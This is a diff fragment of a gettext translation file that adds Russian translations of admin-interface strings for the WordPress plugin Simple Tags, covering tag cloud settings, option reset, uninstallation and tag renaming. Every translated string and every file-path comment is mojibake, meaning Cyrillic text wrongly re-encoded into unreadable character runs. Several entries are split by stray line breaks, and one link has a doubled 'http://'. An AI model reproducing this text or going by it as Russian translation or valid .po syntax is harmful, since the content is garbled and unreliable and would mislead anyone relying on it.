+msgstr "<code>count-desc</code> &ndash; ÐÐ°ÐžÐ±ÐŸÐ»ÐµÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÐµ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:440
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:468
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr "<code>random</code> &ndash; Ð¡Ð»ÑÑÐ°Ð¹ÐœÐŸ. (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:442
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:470
+msgid "Include categories in tag cloud ?"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÑÑÐ±ÑÐžÐºÐž Ð² ÐŸÐ±Ð»Ð°ÐºÐŸ ÐŒÐµÑÐŸÐº ?"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:443
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:471
+msgid "Tags cloud type format:"
+msgstr "Ð€ÐŸÑÐŒÐ°Ñ ÐŸÐ±Ð»Ð°ÐºÐ° ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:450
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:478
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr "ÐÐ°ÐºÑÐžÐŒÐ°Ð»ÑÐœÐŸÐµ ÐºÐŸÐ»-Ð²ÐŸ ÐŒÐµÑÐŸÐº ÐŽÐ»Ñ ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ: (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ: 45)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:451
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:479
+msgid "Enter the text to show when there is no tag:"
+msgstr "ÐÐ²ÐµÐŽÐžÑÐµ ÑÐµÐºÑÑ, Ð¿ÐŸÐºÐ°Ð·ÑÐ²Ð°ÐµÐŒÑÐ¹ ÐºÐŸÐ³ÐŽÐ° ÐœÐµÑ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:453
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:481
+msgid "Most popular color:"
+msgstr "ÐŠÐ²ÐµÑ ÐœÐ°ÐžÐ±ÐŸÐ»ÐµÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÑ
+:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:454
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:482
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr "ÐŠÐ²ÐµÑÐ° Ð² ÑÐµÑÑÐœÐ°ÐŽÑÐ°ÑÐµÑÐžÑÐœÐŸÐŒ ÑÐŸÑÐŒÐ°ÑÐµ, Ð²Ñ ÐŽÐŸÐ»Ð¶ÐœÑ Ð²Ð²ÐµÑÑÐž Ð²ÑÐµ ÑÐµÑÑÑ Ð·ÐœÐ°ÐºÐŸÐ² (#eee ÑÑÐŸ ÐºÐŸÑÐŸÑÐºÐ°Ñ Ð²ÐµÑÑÐžÑ ÐŸÑ #eeeeee)."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:455
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:483
+msgid "Least popular color:"
+msgstr "ÐŠÐ²ÐµÑ ÐœÐ°ÐžÐŒÐµÐœÐµÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÑ
+:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:456
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:484
+msgid "Most popular font size:"
+msgstr "Ð Ð°Ð·ÐŒÐµÑ ÑÑÐžÑÑÐ° ÐœÐ°ÐžÐ±ÐŸÐ»ÐµÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÑ
+:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:457
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:485
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr "ÐÐ²Ð° ÑÐ°Ð·ÐŒÐµÑÐ° ÑÑÐžÑÑÐ° - ÑÑÐŸ ÑÐ°Ð·ÐŒÐµÑÑ ÑÐ°ÐŒÑÑ
+ Ð±ÐŸÐ»ÑÑÐžÑ
+ Ðž ÐŒÐ°Ð»ÐµÐœÑÐºÐžÑ
+ ÐŒÐµÑÐŸÐº."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:458
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:486
+msgid "Least popular font size:"
+msgstr "Ð Ð°Ð·ÐŒÐµÑ ÑÑÐžÑÑÐ° ÐœÐ°ÐžÐŒÐµÐœÐµÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÑ
+:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:459
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:487
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr "ÐÐŽÐžÐœÐžÑÑ ÐžÐ·ÐŒÐµÑÐµÐœÐžÑ ÐŽÐ»Ñ ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ ÑÑÐžÑÑÐ° Ð² ÐŸÐ±Ð»Ð°ÐºÐµ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:460
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:488
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr "ÐÐ¿ÑÐžÑ ÐµÐŽÐžÐœÐžÑ ÐžÐ·ÐŒÐµÑÐµÐœÐžÑ ÑÐ°Ð·ÐŒÐµÑÐŸÐ² ÑÑÐžÑÑÐ° Ð·Ð°ÐŽÐ°ÐµÑ ÐµÐŽÐžÐœÐžÑÑ, ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÐµÐŒÑÐµ ÐŽÐ»Ñ ÐŽÐ²ÑÑ
+ ÑÐ°Ð·ÐŒÐµÑÐŸÐ² ÑÑÐžÑÑÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:462
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:490
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ ÑÐŸÑ Ð¶Ðµ ÑÐžÐœÑÐ°ÐºÑÐžÑ ÐºÐ°Ðº ÐŽÐ»Ñ ÑÑÐœÐºÑÐžÐž <code>st_tag_cloud()</code> ÐŽÐ»Ñ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÑ. Ð¡ÐŒÐŸÑÑÐžÑÐµ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ÐŸÑÐžÐ³ÐžÐœÐ°Ð»ÑÐœÑÑ</a> ÐžÐ»Ðž <a href=\"http://http://lecactus.ru/2007/10/07/851\">ÑÑÑÑÐºÑÑ</a> ÐŽÐŸÐºÑÐŒÐµÐœÑÐ°ÑÐžÑ ÐŽÐ»Ñ Ð±ÐŸÐ»ÑÑÐžÑ
+ ÐŽÐµÑÐ°Ð»ÐµÐ¹."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:476
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:504
+msgid "Options saved"
+msgstr "ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž ÑÐŸÑ
+ÑÐ°ÐœÐµÐœÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:480
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:508
+msgid "Simple Tags options resetted to default options!"
+msgstr "ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž Simple Tags Ð²ÐŸÑÑÑÐ°ÐœÐŸÐ²Ð»ÐµÐœÑ Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:486
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:514
+#, php-format
+msgid "All Simple Tags options are deleted ! You <a href=\"%s\">deactive plugin</a> now !"
+msgstr "ÐÑÐµ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž Simple Tags ÑÐŽÐ°Ð»ÐµÐœÑ! ÐÑ <a href=\"%s\">ÐŽÐµÐ°ÐºÑÐžÐ²ÐžÑÐŸÐ²Ð°Ð»Ðž Ð¿Ð»Ð°Ð³ÐžÐœ</a> ! "
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:526
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:550
+msgid "Update Options &raquo;"
+msgstr "ÐÐ±ÐœÐŸÐ²ÐžÑÑ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž &raquo;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:527
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:551
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:526
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:549
+msgid "Do you really want to restore the default options?"
+msgstr "ÐÑ ÐŽÐµÐ¹ÑÑÐ²ÐžÑÐµÐ»ÑÐœÐŸ Ñ
+ÐŸÑÐžÑÐµ Ð²ÐŸÑÑÑÐ°ÐœÐŸÐ²ÐžÑÑ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ?"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:527
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:551
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:526
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:549
+msgid "Reset Options"
+msgstr "Ð¡Ð±ÑÐŸÑÐžÑÑ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:534
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:533
+msgid "Uninstallation"
+msgstr "ÐÐµÐžÐœÑÑÐ°Ð»Ð»ÑÑÐžÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:540
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:539
+msgid "Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin."
+msgstr "ÐÐ±ÑÑÐœÐŸ, ÐŽÐµÐ°ÐºÑÐžÐ²Ð°ÑÐžÑ Ð¿Ð»Ð°Ð³ÐžÐœÐ° ÐœÐµ ÑÐŽÐ°Ð»ÑÐµÑ Ð»ÑÐ±ÑÐµ ÐµÐ³ÐŸ ÐŽÐ°ÐœÐœÑÐµ, ÐµÑÐ»Ðž Ð²Ñ Ñ
+ÐŸÑÐžÑÐµ Ð¿ÑÐµÐºÑÐ°ÑÐžÑÑ ÐžÑÐ¿ÐŸÐ»ÑÐ·Ð²Ð°ÑÑ Simple Tags, Ð¿ÐŸÐ¶Ð°Ð»ÑÐ¹ÑÑÐ° ÑÐŽÐ°Ð»ÐžÑÐµ <strong>Ð²ÑÐµ</strong> ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž Ð¿ÐµÑÐµÐŽ ÐŽÐµÐ°ÐºÑÐžÐ²Ð°ÑÐžÐµÐ¹ Ð¿Ð»Ð°Ð³ÐžÐœÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:541
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:540
+msgid "This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>"
+msgstr "Ð­ÑÐŸ ÑÐŽÐ°Ð»ÐžÑ Ð²ÑÐµ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž Simple Tags. <strong>Ð­ÑÐŸ ÐœÐµÐŸÐ±ÑÐ°ÑÐžÐŒÐŸ! ÐÑÐŽÑÑÐµ ÐŸÑÑÐŸÑÐŸÐ¶ÐœÑ.</strong>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:544
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:543
+msgid "Delete all options ?"
+msgstr "Ð£ÐŽÐ°Ð»ÐžÑÑ Ð²ÑÐµ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž ?"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:568
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1714
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:565
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1206
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr "ÐÑÐŸÐ±Ð»ÐµÐŒÐ° Ñ Ð±ÐµÐ·ÐŸÐ¿Ð°ÑÐœÐŸÑÑÑÑ. ÐÐŸÐ¿ÑÐŸÐ±ÑÐ¹ÑÐµ ÑÐœÐŸÐ²Ð°. ÐÑÐ»Ðž Ð¿ÑÐŸÐ±Ð»ÐµÐŒÐ° Ð¿ÐŸÑÑÐŸÑÐœÐœÐ°Ñ, ÑÐ²ÑÐ¶ÐžÑÐµÑÑ Ñ <a href=\"mailto:amaury@wordpress-fr.net\">Ð°Ð²ÑÐŸÑÐŸÐŒ Ð¿Ð»Ð°Ð³ÐžÐœÐ°</a>."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:601
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:171
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:161
+msgid "Most popular"
+msgstr "Ð¡Ð°ÐŒÑÐµ Ð¿ÐŸÐ¿ÑÐ»ÑÑÐœÑÐµ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:602
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:161
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:172
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:151
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:162
+msgid "Least used"
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐžÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÐœÐœÑÐµ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:603
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:158
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:169
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:148
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:159
+msgid "Alphabetical"
+msgstr "ÐÐ»ÑÐ°Ð²ÐžÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:634
+msgid "Existing Tags"
+msgstr "Ð¡ÑÑÐµÑÑÐ²ÑÑÑÐžÐµ ÐŒÐµÑÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:638
+msgid "Search tags"
+msgstr "ÐÐŸÐžÑÐº ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:642
+msgid "Go"
+msgstr "ÐÐ¿ÐµÑÐµÐŽ!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:645
+msgid "Sort Order:"
+msgstr "ÐÐŸÑÑÐŽÐŸÐº ÑÐŸÑÑÐžÑÐŸÐ²ÐºÐž:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:660
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1844
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr "ÐÑÐŸÑÐŒÐŸÑÑÐµÑÑ Ð²ÑÐµ Ð·Ð°Ð¿ÐžÑÐž, Ð¿ÐŸÐŒÐµÑÐµÐœÐœÑÐµ Ñ  %s"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:671
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1859
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1861
+msgid "Previous tags"
+msgstr "ÐÑÐµÐŽÑÐŽÑÑÐžÐµ ÐŒÐµÑÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:671
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1865
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1867
+msgid "Next tags"
+msgstr "Ð¡Ð»ÐµÐŽÑÑÑÐžÐµ ÐŒÐµÑÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:679
+msgid "Rename Tag"
+msgstr "ÐÐµÑÐµÐžÐŒÐµÐœÐŸÐ²Ð°ÑÑ ÐŒÐµÑÐºÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:680
+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr "ÐÐ²ÐµÐŽÐžÑÐµ ÐŒÐµÑÐºÑ ÐŽÐ»Ñ Ð¿ÐµÑÐµÐžÐŒÐµÐœÐŸÐ²Ð°ÐœÐžÑ Ðž ÐµÐµ ÐœÐŸÐ²ÐŸÐµ Ð·ÐœÐ°ÑÐµÐœÐžÐµ. ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ ÑÑÑ ÑÑÐœÐºÑÐžÑ ÑÐ°ÐºÐ¶Ðµ ÐŽÐ»Ñ ÐŸÐ±ÑÐµÐŽÐžÐœÐµÐœÐžÑ ÐŒÐµÑÐŸÐº. ÐÐ°Ð¶ÐŒÐžÑÐµ \"ÐÐµÑÐµÐžÐŒÐµÐœÐŸÐ²Ð°ÑÑ\" Ðž Ð²ÑÐµ Ð·Ð°Ð¿ÐžÑÐž, ÐºÐŸÑÐŸÑÑÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÑÑ ÑÑÑ ÐŒÐµÑÐºÑ, Ð±ÑÐŽÑÑ ÐŸÐ±ÐœÐŸÐ²Ð»ÐµÐœÑ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:681
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:722
